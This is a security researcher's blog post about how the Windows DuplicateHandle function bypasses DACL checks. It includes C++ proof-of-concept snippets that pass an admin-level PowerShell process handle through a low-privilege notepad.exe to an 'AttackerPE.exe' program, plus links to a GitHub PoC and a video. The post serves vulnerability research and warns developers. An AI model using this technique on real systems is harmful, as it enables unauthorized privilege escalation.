While writing practice code for a driver in windows, I discovered a security issue:
It seemed there was a flaw in the DuplicateHandle function. I started investigating this issue and realized that, from the perspective of the operating system and Windows developers, this behavior is logical. Developers must be very careful when using the DuplicateHandle function to prevent the creation of security vulnerabilities that could lead to privilege escalation.
First, I’ll provide a general explanation of handle security, followed by a description of the test programs I developed.
General Content
Objects are typically not directly accessible from user-mode; instead, they are directly and unchecked accessible in kernel-mode.
To use objects in user-mode, the system provides us with a handle.
Whenever an object access request occurs in user-mode, the system performs two actions:
- the security system must first be sure of each user’s identity.
- The Object Manager and security system confirm that the SID matches with the DACL and SACL.
If these match, access is granted to the requesting process.
Handle Relationship with Security Descriptor and DACL
As Keith Brown explains in his article, operations on handles are summarized as follows:
Creating/Opening handle: Functions such as CreateFile, CreateMutex, CreateProcess, RegOpenKeyEx, etc.
Using a handle: Functions such as WriteFile, WaitForSingleObject, RegQueryValueEx, etc.
Closing a handle: Functions such as CloseHandle, RegCloseKey, etc.
When a process requests a handle for an object (by requesting to create/open a handle), the security system first verifies the user’s identity using a token. Then, it checks the DACL of the object to see if the user has the necessary permissions as specified by the process flags. (The DACL contains ACEs showing specific permissions for each SID)
Example: As shown in Figure 1, if access is granted to the process, during execution, each time the process uses the handle, no further security checks are performed.

💡Thus, the DACL is only checked at the time of creating/opening the handle and not during its use or closing.
Example: When a read request is sent, the system checks the DACL to verify read access. If granted, a valid handle with read access is provided. If a write is needed afterward, the operation will fail with an “access denied” error since the handle was created with read access only. Pay attention that the request is not sent to the system. The request is stopped by the process itself.
Duplicate Handle and Evade DACL Check
Duplicating a handle in the source process requires that the source process already has that handle, meaning the DACL was checked once during the handle’s Creation/Opening. When duplicating a handle from the source to the destination process, no security checks are performed, It means that even the SID of the destination process is not checked with DACL.
To test this, I developed two programs:
- “Vendor.exe” (vendor.exe is a vulnerable program made for testing. In the real scenario, it can be any program like openvpn.exe, vmware.exe)
- “AttackerPE.exe”
GitHub – mehrshadmollaafzal/BypassDACL: PoC for Bypass DACL in Windows with DuplicateHandle

1. Assume the powershell.exe process runs with Admin privileges, and a program vendor.exe with the same privilege level opens a handle to Powershell using OpenProcess.
DWORD PidHandle = GetPIDByName(procNameHandle); // Get PID of powershell.exe
printf_s("[+] PID of %ws %d\n", procNameHandle.c_str(), PidHandle);
HANDLE needDupHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PidHandle); // Get handle from powershell.exe
2. This request, which is of the Open type, is checked with DACL and because the access level is the same, the handle is created successfully.
3. Now, there is a notepad.exe program with normal user privileges if vendor.exe duplicates its handle to notepad.exe (with DuplicateHandle function), no DACL check is performed, transferring all admin-level access from Powershell to notepad.exe.
DWORD PidHandle = GetPIDByName(procNameHandle); // Get PID of powershell.exe
printf_s("[+] PID of %ws %d\n", procNameHandle.c_str(), PidHandle);
HANDLE needDupHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PidHandle); // Get handle from powershell.exe
DWORD PidTarget = GetPIDByName(targetProcName);
HANDLE TargerProcessHandle = OpenProcess(GENERIC_ALL, FALSE, PidTarget);
if (needDupHandle != NULL) {
printf_s("[+] Handle of %ws is OK\n", procNameHandle.c_str());
if (!DuplicateHandle(GetCurrentProcess(), needDupHandle, TargerProcessHandle, &hTargetHandle, PROCESS_QUERY_INFORMATION, FALSE, DUPLICATE_SAME_ACCESS)) {
return Error("[-] Error DuplicateHandle ");
}
printf_s("[*] Run Process Explorer and find handles of %ws then find a handle named %ws\n", targetProcName.c_str(), procNameHandle.c_str());
printf_s("and write address of handle in AttackerPE code...\n");
printf_s("[*] Sleep(INFINITE) After running AttackerPE.exe for exit this code press Ctrl+C\n");
Sleep(INFINITE);
}
else {
return Error("needDupHandle ");
}
4. An AttackerPE.exe with normal user privileges send a DuplicateHandle request to notepad.exe
if (handleInfo.UniqueProcessId == processID) { // PID of notepad.exe
if (handleInfo.Object == (PVOID)0xFFFFD58213F81080) { // copy address of handle from procexp64
HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, processID);
if (hProcess != NULL) {
HANDLE hDupHandle = NULL;
if (DuplicateHandle(hProcess, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &hDupHandle, PROCESS_QUERY_INFORMATION, FALSE, DUPLICATE_SAME_ACCESS)) {
printf("Duplicated handle: 0x%p\n", hDupHandle);
// CloseHandle(hProcess);
return hDupHandle;
} else {
printf("Error DuplicateHandle: %d\n", GetLastError());
}
CloseHandle(hProcess);
} else {
printf("Error OpenProcess: %d\n", GetLastError());
}
}
}
5 .And the request is accepted without any problem. Because neither DACL interferes nor users are different.

You can read more details about the codes on GitHub.
Youtube: Video Of Attack
Final Words:
As a result, system developers must be very cautious when using the powerful DuplicateHandle function. However, security researchers and bug hunters should look for programs that run with normal user privileges but possess handles with elevated privileges. It’s important to note that they must be able to use these handles to escalate privileges; otherwise, without privilege escalation and exploitation, the vendor in question is not at risk.
References
karl-bridge-microsoftDuplicateHandle function (handleapi.h) – Win32 apps
kexugitSecurity Briefs: Exploring Handle Security in Windows
Karl-Bridge-MicrosoftProcess Security and Access Rights – Win32 apps
alvinashcraftDACLs and ACEs – Win32 apps
Windows Internals Books
Windows Kernel Programming Book
Thanks to
Twitter Taha Tavakoli (@Decoder0x01) on X
Twitter Pavel Yosifovich (@zodiacon) on X
Twitter Sandino Araico 🇲🇽 (@KBrown) on X
.
.